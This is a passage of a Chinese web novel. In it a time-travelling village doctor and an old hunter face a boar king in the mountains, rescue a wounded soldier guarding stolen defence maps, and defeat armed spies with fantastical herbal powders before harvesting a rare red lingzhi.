她越想越气,手下一个没注意,脚底一滑,“噗通”一声,整个人结结实实地摔进了猪食槽里! 那酸爽,简直不敢想象。 …… 三天后,天还没亮。 姜芷背着一个鼓鼓囊囊的帆布包,里面装着水、干粮、银针和各种急救的药粉。 李老根则是一身利落的短打,背着他那把祖传的猎枪,腰间别着砍刀和水壶。 两人站在村口,山风吹来,带着清晨的凉意。 赵秀娥站在不远处,眼眶通红,想说什么,又怕给女儿添乱,只能死死地攥着衣角。 姜芷回头,给了她一个安心的笑容。 “娘,等我回来。” 说完,她转过身,再没有犹豫。 “李叔,我们走吧。” “跟上。” 李老根吐掉嘴里叼着的草根,大步朝着那片笼罩在晨雾中的深山走去。 姜芷迈开脚步,紧紧跟上。 第21章 野猪王?一包药粉教你做猪! 深山老林,和村后的山头,完全是两个世界。 一脚踏入,光线骤然黯淡。 参天古木的枝叶密不透风,将天光切割得支离破碎,只在地上投下几枚摇晃的铜钱大小的光斑。 空气中,满是腐烂落叶与潮湿泥土混合的原始气息。 除了两人踩在枯枝败叶上发出的“咔嚓”声,再无其他。 “跟紧了。” 李老根警惕着周围。 “别乱看,别乱摸,更别乱出声。” “这里的东西,随便一样都能要你的命。” 他走在前面,身形精悍,像一头融入了山林的老豹子,脚步轻盈却沉稳。 时不时,他会停下来,指着地上一些不起眼的痕迹。 “狼粪,还热乎,一群,刚过去不久。” “看到那棵树上的爪印没?黑瞎子留下的,少说也得三百斤。” 他每说一句,都像是在验证这片山林的凶险。 李老根本以为,身后那个黄毛丫头会吓得脸色发白。 谁知姜芷的表情,从头到尾,没有半点变化。 她只是安静地跟着,好奇地打量着那些连他也叫不出名字的植物。 这丫头,胆子也太大了! 李老根心里嘀咕,脚下却丝毫不敢放松。 走了一个多小时,姜芷忽然停下了脚步。 她的目光落在了一丛不起眼的,长在潮湿岩石缝里的蕨类植物上。 “李叔,那是铁线草,剧毒。” 李老根顺着她的目光看过去,不屑地撇了撇嘴。 “我当是什么,不就是猪毛草吗?山里多的是,喂猪猪都不吃。” “不。”姜芷摇了摇头,走了过去,蹲下身仔细辨认。 “你看它的叶背,孢子是浑圆的,叶柄乌黑发亮,像铁丝。” “它变异了,毒性比寻常的铁线草强了十倍不止,人要是误食,不出半个钟头,就会肠穿肚烂,神仙难救。” 李老根愣住了。 他活了五十多年,在山里混了一辈子,头一次听说这猪毛草还分带不带毒的。 他将信将疑地凑过去,顺着姜芷的话仔细一看,心头猛地一跳! 还真是! 这玩意儿的叶柄,确实比他平时见的那些要黑,要亮! “你……你怎么知道的?” “我说了,我是医生。”姜芷站起身,拍了拍手,“走吧。” 李老根看着她的背影,眼神复杂。 这丫头,好像真有那么两下子。 两人继续往深处走,翻过一道山梁,眼前豁然开朗。 一片长满了灌木的缓坡,空气中飘着一股淡淡的甜香。 姜芷的眼睛,瞬间亮了! 在那片灌木丛中,她看到了一株株形态优美的植物。 茎秆上长满了肥厚的叶片,正开着淡紫色的小花。 石斛! 而且看这长势,起码都是十年以上的野生石斛! 这可是滋阴清热的圣品! 放在后世,千金难求! 然而,她刚准备动身,李老根的脸色“唰”的一下变了! 他猛地拽住姜芷,将她死死按在身后的一块巨石后面,另一只手已经举起了猎枪! “别动!有大家伙!” 就在那片石斛丛后面,泥地被翻得乱七八糟。 一头体型堪比小牛犊子的巨大野猪,正用它那长长的獠牙,疯狂地拱着地! 它浑身鬃毛漆黑,根根倒竖,像钢针一样。 一双血红的小眼睛里,全是暴虐凶残。 野猪王! 李老根脸色沉了下去。 他年轻时跟这畜生的爹交过手,肋骨都断了三根,差点把命丢在这里! 没想到,十几年过去,小的比老的还凶! “吼——!” 野猪王猛地抬起头,它闻到了生人的气息,那双暴虐的眼睛,瞬间锁定了他们藏身的方向! 它刨了刨蹄子,鼻孔里喷出两道白气。 下一秒,它动了! 如同一辆失控的黑色坦克,带着一股腥风,朝着两人藏身的巨石冲了过来! “砰!” 李老根果断开枪! 子弹打在野猪王厚实的皮肉上,只爆出一团血花,像挠痒痒一样,彻底激起了它的凶性! “草!” 李老根大骂一声,拉着姜芷就地一滚。 几乎在同时,野猪王的獠牙擦着他们的后背划过! “轰!” 两人藏身的巨石被狠狠撞中,剧烈摇晃,碎石四溅! “丫头!快跑!上树!” 李老根嘶吼着,举起枪准备开第二枪。 可野猪王根本不给他机会,一个甩头,巨大的身体就横扫了过来。 李老根躲闪不及,被那股巨力带得一个趔趄,胸口撞在了树干上! “噗——!” 他只觉得胸口一阵剧痛,眼前一黑,差点当场昏死过去! 是那该死的老伤! 就在这千钧一发之际! “畜生!看这边!” 姜芷娇喝一声,脸上没有丝毫惧色! 她从帆布包里掏出一个纸包,手腕一抖,朝着野猪王的面门,撒了过去! 一股混杂着石灰、辣椒和数种刺激性草药的呛鼻气味,瞬间炸开! “嗷——!” 正准备给李老根来个“对穿肠”的野猪王,被药粉扑了个满头满脸,发出震天动地的惨嚎! 它疯狂地甩着头,在原地打转,眼睛鼻子嘴巴里,火辣辣地疼! 视线一片模糊! 什么也看不见了! “李叔!走!” 姜芷一把扶起李老根,拖着他就往旁边一棵最粗壮的大树跑去。 李老根被她搀着,胸口疼得钻心,脑子却被这丫头的彪悍给惊呆了。 就……就这么一包粉末,把横行这一片的野猪王给干趴下了? 这可比他手里的猎枪还好使! 两人连滚带爬地躲到树后。 那头发疯的野猪王,在原地咆哮了半天,最终因为什么也看不见,只能不甘心地调转方向,“轰隆隆”地撞进密林深处,消失不见。 危机,暂时解除。 “咳……咳咳……” 李老根靠着树干,大口大口地喘着粗气,肋骨的旧伤疼得他额头青筋暴起,冷汗直流。 “别动。” 姜芷让李老根靠好,伸手找到了他左胸第三根肋骨的位置。 然后,她并起食指和中指,力道沉稳,对着那处痛点周围的几个穴位,或点,或按,或揉。 李老根只感觉到一股温热的气流,在他疼痛麻木了十几年的旧伤处,缓缓化开。 那股撕心裂肺的疼痛,竟奇迹般地迅速缓解。 不过短短两分钟,他已经能顺畅地呼吸,胸口的闷痛感也消失了大半! 李老根难以置信地看着姜芷。 这个瘦瘦弱弱的丫头,不光脑子好使,这手上的功夫,简直神了! “丫头……你……” “气血瘀滞,不通则痛。” 姜芷收回手,从包里拿出水壶递给他。 “你的旧伤拖得太久,伤了经络,刚才猛地一撞,气血攻心,才会这么疼。” “等回去后,我给你开个方子,再配合针灸,不出三个月,保证给你断根。” 李老根接过水壶。 他这辈子,没服过谁。 今天,对着这个可以当他孙女的小丫头,他服了! 从里到外,心服口服! “好!”他狠狠点头,“以后,你说什么,叔都听你的!” 两人休整片刻,等李老根缓过劲来,姜芷再次盯上那片石斛丛。 那可是宝贝! 不能就这么走了! 她小心翼翼地走过去,开始采摘年份最足的石斛。 李老根则端着枪,在旁边给她警戒。 就在姜芷采得正起劲时,她的目光,被石斛丛深处,泥地上的一个印记,吸引了。 那不是野猪的蹄印。 也不是任何野兽的爪印。 而是一个成年男人的脚印。 从脚印的深浅和边缘的泥土翻起程度来看,这个人,是朝着密林深处,仓皇跑过去的。 姜芷的心,猛地一沉。 在这片人迹罕至的深山老林里,除了他们,竟然还有别人? 难道是……陆向东之前提到过的那些人? 第22章 密林追踪,意外的发现 姜芷的心,猛地一沉。 这深山老林里,除了他们,竟然还有别人? 李老根也凑了过来,只看了一眼,脸色瞬间绷紧。 他蹲下身,用手指比了比那个脚印的大小和深度,又捻起一点旁边的泥土。 “不是咱们山里人的脚。” “山里猎户穿的都是自家纳的千层底,或是胶鞋,踩出来的印子边沿是圆的。” “你看这个。” 他指着那个印记。 “边沿方正,鞋底还有清晰的纹路。” 李老根站起身,望向脚印消失的幽深密林。 “这是城里人穿的皮鞋,而且看这脚印的深浅,这人走得很急,像是在跑。” 跑? 在这野兽横行,一步一险的深山老林里玩命地跑? 不是在躲避什么,就是在追赶什么。 无论是哪一种,都意味着天大的麻烦。 “李叔,跟上去看看。” 姜芷当机立断。 她的直觉告诉她,这件事不简单。 能让她在这个时代产生好奇心的事,可不多。 “丫头,你疯了?” 李老根吓了一跳,一把拉住她。 “前面是‘鬼见愁’!林子密得连太阳都照不进去,到处是瘴气和沼泽!多一事不如少一事,咱们采了药赶紧回去!” “李叔,你刚才说的,进了山,都听你的。” “但现在,我想请你听我一次。” 她指着那个脚印。 “能让一个人在这种地方玩命跑的,一定有天大的事。” “万一……是出了人命呢?” 医者的本能,让她无法坐视不理。 李老根看着她,沉默了。 半晌,他心一横,牙一咬。 “娘的!老子这条命都是你救的,今天就陪你疯一把!” 他把猎枪从肩上取下来,紧紧握在手里,利落地打开了保险。 “跟紧了!有不对劲就往我身后躲!” “好。” 两人一前一后,循着那串时断时续的脚印,一头扎进了更深的密林中。 越往里走,光线越是昏暗,四周的树木奇形怪状,藤蔓像巨蟒一样死死缠绕。 走了大概半个小时,李老根突然停下,弯腰从一丛灌木下,捡起了一样亮晶晶的东西。 那是一枚黄铜色的弹壳。 李老根的脸色彻底变了。 “手枪子弹壳。” “不是猎枪的。” 事情,比他们想象的还要严重! 这山里,竟然有人在用枪火并! 姜芷的心也跟着提了起来,她下意识地握紧了背包里的银针包。 又往前追了数百米,脚印突然消失在一片陡峭的悬崖下。 “人……应该是从这里爬上去了。” 姜芷的目光,却没有看崖壁。 而是被崖壁中间的石缝里透出的红色,给死死地吸引住! 那是一株灵芝。 通体血红,菌盖上仿佛有流光在缓缓转动,散发着一股奇异的药香。 即便隔着这么远,她都能感受到那股生命精气! “血灵芝……” 她的心跳漏了一拍。 只存在古籍医典中,能生死人肉白骨的极品——血灵芝! 她来到这个时代,梦寐以求的,就是这种失传的天材地宝! 李老根顺着她的目光看去,也愣住了。 “乖乖……这红蘑菇长得可真俊!” 就在这时,一阵压抑的呻吟声,从悬崖顶上传了下来。 “呃……” 上面有人! 姜芷和李老根心头一凛。 “救人要紧!” 姜芷瞬间收回了对血灵芝的渴望。 李老根二话不说,将猎枪背好,率先开始攀爬。 他经验老到,手脚并用,像一只壁虎,寻找着凸起的岩石和坚韧的树根。 姜芷紧随其后。 她的身体虽然瘦弱,但对人体骨骼肌肉的了解无人能及。 总能找到最省力的发力点,扣住可以借力的缝隙。 崖壁湿滑,一块松动的石头突然从李老根脚下脱落,向姜芷砸来! “丫头小心!” 李老根惊呼。 姜芷身形一拧,腰腹发力,轻巧地荡向旁边,险之又险地避开,看得李老根眼皮直跳。 这丫头,不止医术,连这身手都邪门得很! 两人一上一下,终于在耗尽大半体力后,翻上了崖顶。 崖顶上,是一个不大的平台。 一个穿着黑色劲装的男人,正靠在一块岩石上,大口大口地喘着粗气。 他的左腿被鲜血染成了暗红色,身下的石头,已经积了一小滩粘稠的血。 男人听见动静,猛地抬起头,攥紧手里带血的匕首。 “谁!” “别过来!” 李老根立刻举起了猎枪,黑洞洞的枪口对准了他。 “你是什么人?” 男人没有回答,只是死死盯着他们,身体因为失血过多而微微发抖。 “李叔,把枪放下。” 姜芷走了出来,挡在了枪口前。 她的目光,落在了男人那条血流不止的腿上。 “你再动一下,这条腿就废了。” “小腿动脉破裂,再流五分钟,就算大罗神仙来了,也救不回你。” 男人身子一僵,满眼惊讶,显然被说中了要害。 “我凭什么信你?” “我是医生。” 姜芷说着,从背包里拿出银针和干净的纱布,一步步向他走去。 “想活命,就别动。” 男人看着她手里那套专业的工具,紧绷的身体,在求生的本能下,慢慢放松下来。 手里的匕首,“当啷”一声,掉在了地上。 姜芷不再废话,立刻蹲下身,用剪刀剪开他的裤腿。 出现一道深可见骨的刀伤。 她没有丝毫犹豫,捻起银针,快、准、狠地刺入伤口周围的几处大穴,原本奔涌的鲜血,流速变缓了。 李老根在旁边看得目瞪口呆。 这比戏文里唱的点穴还神啊! “你们……是什么人?” 男人缓过一口气,敌意消退了不少。 “山下红星大队的。” 姜芷一边处理伤口,一边头也不抬地应道。 听到“红星大队”四个字,男人的身体,明显地颤动了一下! 他盯着姜芷:“你……你认识姜芷吗?” “你认识我?” 姜芷抬头,有些意外。 男人没有回答,而是挣扎着,从怀里掏出一个用油布包裹得严严实实的东西,不由分说地塞进了姜芷的手里! 那东西入手很沉,硬邦邦的,像是一本书。 “拿着!” 男人的声音急促起来。 “他们是冲着这个来的!我引开他们,你……你带着这个,去找……去找陆……” 他的话还没说完,一阵杂乱的脚步声和人声,就从悬崖下传了上来! “妈的!那小子肯定躲在上面!” “搜!给我仔细搜!活要见人,死要见尸!图纸必须拿到手!” 声音越来越近! 男人和李老根的脸色,同时大变! “丫头!快走!” 李老根拉起姜芷就要跑。 男人急声催促:“别管我!带着东西走!一定要……交给陆向东!” “走不了了。” 姜芷眉头一皱,看着悬崖边,几个端着枪,眼神凶神恶煞的身影,已经露出了头。 他们被包围了。 第23章 杀人,还是诛心,这是个问题 悬崖顶上,风声骤紧,杀气凛冽。 七八个手持枪械的男人,将三人死死围住。 为首的独眼龙,伸出舌头舔过干裂的嘴唇,那只浑浊的独眼在姜芷和油布包之间来回扫视,最后阴冷地落在地上那个奄奄一息的男人身上。 “你他娘的,还真能跑啊!” 独眼龙狞笑着,手里把玩着一把手枪。 “东西交出来,老子给你个痛快。” 李老根全身肌肉瞬间绷紧,将姜芷死死护在身后。 “你们是什么人?光天化日,还敢行凶?” “行凶?”独眼龙放声大笑,“老东西,睁大你的狗眼看看,这儿是鬼见愁!在这儿,老子就是王法!” 他身后的小弟们跟着发出一阵刺耳的哄笑,目光淫邪地在姜芷身上打转,根本没把这一老一少放在眼里。 “小妹妹长得还挺水灵。” “识相点,把东西交出来,再陪哥哥们乐呵乐乐,不然……” “不然怎么样?” 那人污言秽语还未说完,姜芷打断他,轻轻推开身前的李老根,往前走了一步。 “是想像他一样,断了腿,躺在这里等死吗?” “丫头!回来!”李老根着急。 姜芷恍若未闻,径直走到悬崖边,仔细打量着独眼龙。 “你是他们的头儿?” 独眼龙恶狠狠地啐了一口:“小贱人,看什么看!再看把你的眼珠子挖出来!” “别动。” 姜芷抬手嘘声。 “让我看看。” “肝阳上亢,心火过旺。你这独眼,导致气血上行不平,眼压常年过高……” “你最近,是不是夜半惊醒,总感觉有个黑影站在你床头?” 独眼龙的瞳孔,猛地一缩! “你怎么……” “不止如此,”姜芷的声音更冷了,“你小便赤黄,分叉无力,那话儿……早已力不从心了吧?” 轰! 这话一出,独眼龙身后那群小弟,一个个想笑又不敢笑,拼命憋着。 独眼龙的脸,瞬间黑如锅底! 这他娘的,不是诊断! 这是当众扒了他的底裤,还在上面狠狠踩了几脚! “放你娘的屁!”他恼羞成怒,举起枪,对准了姜芷的眉心,“我今天非……” “我劝你,最好别动怒。”姜芷连连摇头。 “你本就气血逆行,再这么一动怒,血冲上脑,引发中风,下半辈子,就只能躺在床上,吃喝拉撒都得靠人伺候了。” “到时候,你连自己是男是女,怕是都分不清了。” “噗嗤——” 一个小弟终于没憋住,笑了出来。 独眼龙猛地回头,独眼凶光毕露:“笑什么笑!都他妈给老子闭嘴!” 他转回头,死死瞪着姜芷,气得浑身发抖。 这个女人,有毒! “少他妈妖言惑众!”独眼龙不再废话,“我数三声!把东西交出来!” “一!” “二!” 李老根的心提到了嗓子眼,手指已经扣上了扳机,准备拼命了! 地上那个男人,也挣扎着想坐起,眼前却阵阵发黑。 就在这时。 姜芷忽然笑了。 “东西,可以给你。” 她说着,轻轻晃了晃手里那个沉甸甸的油布包。 独眼龙眼睛一亮。 “但是……” “我怕你们,有命拿,没命走。” 话音落下的瞬间,她手腕一抖。 一个不起眼的纸包,从她袖中悄然滑落。 不等纸包落地,她脚尖轻轻一勾,一挑! “呼——!” 一捧淡黄色的粉末,瞬间朝着那群人笼罩了过去! “咳咳!什么东西!” “妈的!有毒!” 独眼龙反应最快,立刻用袖子捂住口鼻,但那粉末无色无味,早已钻入肺腑。 “臭娘们!耍花样!给我抓住她!” 独眼龙怒吼着,刚要带人冲上。 可他脚步刚一迈出,眼前的世界,便开始变化。 他看见,身边的小弟,脑袋突然变成了一颗颗腐烂的猪头,眼眶里流着脓血,正咧着嘴,对他发出狞笑! “啊——!鬼啊!” 一个瘦高个小弟突然指着自己的同伴,发出一声杀猪般的惨叫。 “别过来!别吃我!” 他一边叫,一边手脚并用地往后爬,裤裆里,一片滚烫湿热。 另一个小弟一低头,看见无数条五彩斑斓的毒蛇,正从自己的裤腿里,密密麻麻地往外钻,缠绕住他的身体! “蛇!蛇啊!救命啊!” 他吓得魂飞魄散,疯狂地拍打着自己的身体,对着空气拳打脚踢。 一瞬间,山顶变成了修罗地狱。 惨叫声,哭嚎声,求饶声,此起彼伏。 七八个刚才还凶神恶煞的亡命徒,眼下彻底疯了。 有的对着空气开枪,有的抱着脑袋满地打滚,有的则跪在地上,对着一块石头疯狂磕头,嘴里喊着“爷爷我错了”。 独眼龙的情况最惨。 他看见自己那只被弄瞎的眼睛,正悬浮半空,流着血泪,死死地盯着他! 他崩溃地尖叫,胡乱挥舞手枪。 “砰!” 子弹打在脚边的石头上,火星四溅。 李老根看得目瞪口呆,手里的猎枪都快端不稳了。 这……这是什么神仙手段? 一包药粉,就让这群杀人不眨眼的悍匪,坠入地狱? 姜芷拍了拍手。 杀人,还是诛心? 她选择后者。 她转过身,不再看那群疯子,快步走到受伤的男人身边,蹲下身,利落地为他撒上金疮药,用纱布紧紧包扎好。 “命保住了,腿也没废。” 她站起身,看向还处在巨大震撼中的李老根。 “李叔,能麻烦你,下去把他们都捆起来吗?” “哦……哦!好!” 李老根如梦初醒,连忙扔下猎枪,爬下山崖。 先将这群人的手枪收缴,随后用随身的绳子,将这些人挨个捆绑。 一切,似乎都尘埃落定了。 姜芷深吸了一口带着草药清香的空气,刚想松一口气。 突然! 她感觉脚下的地面,传来一阵震动。 李老根捆人的动作,也猛地一僵,他抬起头,警惕地抽了抽鼻子,脸色变了。 “丫头,不对劲……” 话音未落! “吼——!!!” 一声惊天动地的咆哮,从山下的密林中,猛然炸响! 这个声音…… 是那头被她一包药粉“问候”过的野猪王! 紧接着,大地开始剧烈地颤抖! “轰隆隆……轰隆隆……” 那声音,由远及近,越来越响,越来越密! 那不是一头猪! 而是一群! 一个野猪军团,在集体冲锋! 姜芷和李老根往下看去,顿时头皮发麻! 山下的密林里,黑压压的一片,数不清的野猪正红着眼睛,口鼻冒着白气,朝着他们这座山头,狂奔而来! 为首的,正是那头体型堪比卡车头的野猪王! 它这是……摇猪来报仇了?! 第24章 这福气给你要不要啊! 悬崖顶上,风云突变! 李老根老脸骇然! “娘的!这畜生是把全家的七大姑八大姨都叫来了!” 他活了一辈子,见过野猪下山,见过野猪拱地,但还从没见过野猪开“全村代表大会”的! 山下的密林里,黑压压一片,少说也有上百头! “轰隆隆”的奔跑声,震得整个山头都在嗡嗡作响。 每一头野猪都红着眼,呲着獠牙,鼻孔里喷着白气,像是一支训练有素的重甲冲锋队! 为首的,正是那头被姜芷一包“独门秘制调味料”呛得怀疑猪生的野猪王! 它此刻站在队伍的最前方,仰天长啸,那双小眼睛死死锁定着崖顶上的姜芷! “完了……完了……” 李老根手抖得厉害,别说他这几杆破枪,就是架一挺机枪在这儿,都不够给这群猪大爷塞牙缝的! 躺在地上的男人,挣扎着抬头看了一眼山下的“盛况”,刚刚恢复一丝血色的脸,瞬间又白了回去。 “今天……是要交代在这儿了……” 唯有姜芷,保持冷静。 她站在崖边,山风吹得她衣袂猎猎作响。 硬拼,是死路一条。 这处悬崖虽然陡峭,但并非绝壁,总有缓坡可以上来。 而且一旦被这群愤怒的“黑色坦克”围住,下场只有一个,被踩成肉泥。 必须在它们冲上来前,解决危机! 就在这时,下方传来一阵呻吟。 “呃……头好痛……” 独眼龙晃晃悠悠地坐了起来,眼神还有些迷茫和涣散。 紧接着,他那些小弟也陆续醒来。 一个个鼻青脸肿,有的裤裆还湿着,散发着恶臭。 当他们看清被五花大绑时,全都明白了状况。 可还没等他们开口叫骂,越来越近的猪叫声,就让他们把所有脏话都咽了回去! “猪……猪!” “我的妈呀!怎么这么多猪!” 一个胆小的,当场就吓尿了第二次。 独眼龙只看了一眼,魂儿都快飞了! 他猛地转头,那只独眼赤红,死死瞪着姜芷。 “臭娘们!你到底对我们做了什么!你把猪引来的?!” 姜芷居高临下地瞥了他一眼,语气淡漠。 “不然呢?” “难道你以为,它们是来欢迎你胜利返航的?” “你!”独眼龙气得差点一口血喷出来。 他看清了眼下的局势,他们被绑着,成了砧板上的肉,而山下,是足以将他们撕成碎片的野猪群! 彻头彻尾的绝境! “丫头!”李老根端着枪,压低声音,“咱们跟他们拼了!能弄死一个是一个!” “拼?李叔,你枪里的子弹?够给那头猪王刮痧吗?” 李老根瞬间哑火。 “放开我!” 独眼龙开始疯狂挣扎嘶吼,“臭娘们,快放开老子!不然等老子出去了,一定把你先奸后杀!” “哦?”姜芷笑了,居高临下地看着他。 “想活命?” 独眼龙一愣,疯狂点头。 “想!想活命!” “我这里,有两条路。” 姜芷伸出两根手指,在空中轻轻晃了晃。 “第一,你们就这么绑着,等山下的猪大爷们上来开席。到时候,你们就是头菜。” 独眼龙一伙人脸都绿了,牙齿都在打颤。 “第二……” 姜芷顿了顿,从帆布包里,掏出一个小白纸包,在指尖轻轻掂了掂。 “这是解药。” 她笑得人畜无害,“吃了它,之前看到的妖魔鬼怪,就都消失了。我再把你们松开,你们自己想办法,冲出去。” 独眼龙满眼怀疑:“你会这么好心?” “我当然没那么好心。”姜芷坦然承认,“我只是觉得,让你们被野猪拱死,比将来吃枪子儿,好像……更有趣一点。” 她晃了晃手里的纸包。 “怎么选?是继续在这里,体验‘百鬼夜行’,顺便等着当猪饲料?” “还是吃了‘解药’,赌一把,看看是你们的腿快,还是山下那群朋友的嘴快?” 身后的小弟们已经彻底崩溃了。 “老大!选第二个!我不想再看见那些蛇了!” “是啊老大!冲出去!跟它们拼了!死也死个明白!” 独眼龙死死地盯着姜芷. 这女人绝对没安好心,可眼下的情况,他没得选! 那种被幻觉支配的恐惧,他再也不想体验第二次了! “好!”他咬碎了后槽牙,“我们选第二个!” “聪明的选择。” 姜芷笑了笑,将手里的纸包随手扔了下去。 李老根粗暴地给他们分食干净。 “现在,可以放开我们了吧!” 姜芷对着李老根使了个眼色。 李老根虽然满心不解,但出于对她的绝对信任,还是上前,用猎刀“唰唰”几下割断了绳索。 绳索一断,独眼龙一伙人立刻连滚带爬,就朝着下山小路冲了下去! “臭娘们!你给老子等着!” 独眼龙跑在最前面,还不忘回头放一句狠话。 姜芷只是站在崖边,抱臂看着。 就在独眼龙他们冲下山坡,身影出现在野猪群视野中的那一刻! “吼——!!!” 为首的野猪王,像是突然闻到了什么世界上最美味的东西,猛地抬起了头! 那双小红眼,瞬间锁定了那几个正在狂奔的! 下一秒,野猪王发出咆哮,调转方向,朝着独眼龙一伙人,狂冲而去! 在它的带领下,整个野猪军团,瞬间转向! 山林里,响起比之前凄惨百倍的惨叫! “啊——!别追我!” “为什么它们只追我们啊!” “救命……救命啊!” 李老根和受伤的男人看得目瞪口呆,浑身汗毛倒竖。 这……这他娘的,简直就是精准制导啊! 他咽了口唾沫,抬头看着悬崖边云淡风轻的姜芷。 “丫头……你……你给他们吃的,到底是什么?” 姜芷嫣然一笑。 “解药啊。” “只不过,用了一点点麝香,一点点穿山甲的鳞片粉,再加上几味能无限放大野兽原始欲望的草药,磨成了粉末。” “对人来说,没什么大用。” “但对这些处在发情期和暴怒中的畜生来说……” 她的目光投向山下那场血腥的盛宴,唇角的笑意更深了。 “这味道,大概比唐僧肉,还要香上那么一百倍吧。” 李老根:“……” 受伤男人:“……” 杀人,不用刀。 这丫头的心思,比这深山里的黑瞎子,还要黑啊! 随着最后的惨叫声淹没在野猪的嘶吼中,山下的骚乱,渐渐平息。 野猪群在饱餐一顿后,意犹未尽地散去了。 危机,彻底解除。 姜芷伸了个懒腰,扫过狼藉的战场,目光重新落在了悬崖中间的石缝上。 那株通体血红,在夕阳的余晖下,散发着妖异光芒的血灵芝,正等着她去采撷。 第25章 血灵芝 山风裹挟着一股血腥气,混着野兽的骚臭,直冲天灵盖。 李老根哆哆嗦嗦地点上旱烟,猛嘬了一口。 烟草的辛辣非但没压下那股恶心,反而搅得他胃里翻江倒海,只想呕吐。 他眼角的余光,死死钉在悬崖边那个纤弱的背影上。 那丫头正静静地望着崖壁中间,那株妖异的红蘑菇。 这丫头,不是人。 李老根的心里,第一次真真切切地冒出这个念头。 不,这压根不是人能干出来的事! 一包粉末,让那群杀人不眨眼的亡命徒见了阎王爷。 又一包粉末,让这山里的野猪王成了听她号令的屠夫,把那群人当成了开席的头菜! 这手段,比说书先生嘴里的妖魔鬼怪还要邪乎百倍! “李叔。” 姜芷清冷的声音,将他的魂儿从九霄云外拽了回来。 “啊?丫……丫头,啥事?” 李老根一个激灵,烟杆差点从手里飞出去。 “我得下去,把那东西采回来。” 姜芷指着崖壁中央的血灵芝。 “劳烦您,照看一下这位伤员。” 李老根僵硬地扭头,看了眼地上那个依旧神情恍惚的男人,喉结滚动,连忙点头。 “哦……好,好!” 他看见姜芷从背包里拿出备好的麻绳,一头绑在崖顶最粗的松树上,另一头系在自己腰间,还用力拽了拽,测试着牢固度。 “丫头,这太险了!”李老根脱口而出。 可话一出口,他就自己先噎住了。 跟她刚才干的事比起来,这算个屁的危险? 这顶多算饭后消食。 姜芷不再多言,双手握紧绳索,脚尖在崖壁上轻轻一点。 整个人向崖壁中央滑落。 很快,她就落在了血灵芝旁边。 离得近了,一股奇异的药香钻入鼻息,瞬间让人神清气爽。 血灵芝通体赤红,菌盖温润如玉,上面天然形成的纹路,隐约构成一幅太极图的轮廓,在夕阳的余晖下,流转着一层淡淡的金光。 百年难遇的圣品! 姜芷压下心头的激动,从怀里掏出一方小巧的盒子,与一把银质小刀。 她没有立刻动手。 而是对着血灵芝,低声呢喃。 “山川有灵,草木有情。今日借你之身,救世间疾苦,非为一己私欲,望你成全。” 话音落下,她才屏住呼吸,小心翼翼地用银刀从根部,将血灵芝完整地切割下来。 崖顶上的李老根看得一愣一愣。 采个蘑菇而已,怎么搞得跟请菩萨似的? 他哪里知道,这些天材地宝皆有灵性,用粗暴手法采摘,灵气尽失,药性大减。唯有心怀至诚,方能得其精髓。 将血灵芝稳稳放入盒子,盖好,姜芷才长舒一口气。 她将盒子贴身揣好,抓紧绳索,手脚并用,几个呼吸间,便重新回到了崖顶。 “丫头……你可真行!” 李老根竖起了大拇指。 姜芷淡然一笑,走到那个受伤的男人身边。 男人已经缓过神,挣扎着就要坐起,想对姜芷行一个大礼。 “姑娘!救命之恩,没齿难忘!” “别动,伤口会裂开。” 姜芷伸手按住他。 “你到底是谁?怎么会认识陆向东?” 男人喘了口大气。 “我叫刘勇,是陆向东同志的战友!” “我这次的任务,就是追回被这伙特务盗走的‘惊蛰图’!” 他颤抖着手,指了指旁边那个油布包。 “惊蛰图?”姜芷把它捡过来。 “是咱们省,沿海沿江所有重要军事防御工事的部署图!” “这东西要是落到敌人手里,后果……不堪设想!” “我跟另外两个战友,追了他们三天三夜,最后……就剩我一个了。” 刘勇眼圈瞬间红了,这个铁打的汉子声音哽咽。 “我本来已经绝望了,没想到……能遇到您!” 他看着姜芷,就像在看活菩萨。 “陆向东跟组织提过您,说您医术通神,是个奇人。我当时还不信……” “今天,我刘勇这条命是您给的!我彻底服了!” “我代表牺牲的战友,谢谢您!” 说着,他又要挣扎着磕头。 “行了。” 姜芷扶住他。 “东西拿回来了,你人也活着,这就是最好的结果。” 她把油布包,再次塞回刘勇怀里。 “这是你的任务,收好。” 刘勇一怔,瞬间明白了她的意思。 这姑娘,立下了足以惊动军区的天大功劳,却连一丝一毫都不想沾染。 这份心性…… 难怪,难怪陆向东那样眼高于顶的人,都会对她念念不忘。 “天快黑了。” 李老根看着迅速沉下去的太阳,满脸愁容。 “得赶紧下山,不然入了夜,这山里就真成鬼见愁了!” 一个天大的难题摆在眼前。 刘勇的腿根本无法行走。 他们两个人,怎么把他弄下山崖? “李叔,能做个担架吗?”姜芷问。 “能是能,”李老根指着周围,“用藤条和树枝编一个不难。可这山路陡得要命,好些地方就容一个人过,担架根本抬不下去!” 三人陷入沉默。 夕阳的最后一丝余晖消失,天边被染成血色。 山林里的光线迅速黯淡,不知名的鸟兽发出凄厉的叫声,给这片山林,平添了几分阴森。 “我来背!” 李老根一咬牙,扔掉烟嘴,猛地站了起来。 “不行!”姜芷和刘勇异口同声。 “李叔,你年纪大了,还有旧伤。”姜芷皱眉。 “姜同志,你让李大叔背我,还不如现在给我一枪!”刘勇急了。 李老根还要坚持,姜芷忽然开口。 “有了。” 她走到那捆粗麻绳边,用猎刀将其割成长短不一的几段。 接着,在两人惊愕的目光中,她用几段短绳,将刘勇的后背和李老根的后背,捆在了一起! “丫头,你这是干啥?”李老根彻底懵了。 “李叔,你只管在前面开路,找最稳的落脚点。” 姜芷又拿起最长的那根绳子,一头系在自己和刘勇的腰间,另一头,再次死死绕过那棵歪脖子松树。 “我,在后面,给你们当‘配重’和‘刹车’。” 她的计划匪夷所思,简单粗暴。 李老根在前面背着人探路下山。 她在上面,利用绳子和树干作为支点,控制他们下降的速度和方向! 一旦李老根失足,她就能在第一时间,用自己的身体,作为最后的保险! “这……能行吗?”李老根心里直打鼓,“丫头,你这小身板,拉得住我们两个大老爷们?” “行不行,试试就知道了。”姜芷坚持。 “记住,从现在起,我们三个是一根绳上的蚂蚱。” 李老根把心一横。 “娘的!今天老子这条命,就陪你再疯一次!” “听你的!” 他立即背起刘勇,在陡峭的崖壁上,向下挪动。 姜芷将救命的绳索在腰间缠了一圈又一圈。 绳子深深勒进她的皮肉,磨出一道道血痕。 她咬紧牙关,双手死死攥着,用自己的体重,一步一步,掌控着下方两个男人的生命。 第26章 惊动军区大佬 刘勇被死死捆在李老根背上,剧痛让他嘴唇发白,脑子却前所未有的清醒。 绳子上传来的力道,沉稳得不像话。 那股力量,根本不属于一个乡下女孩! 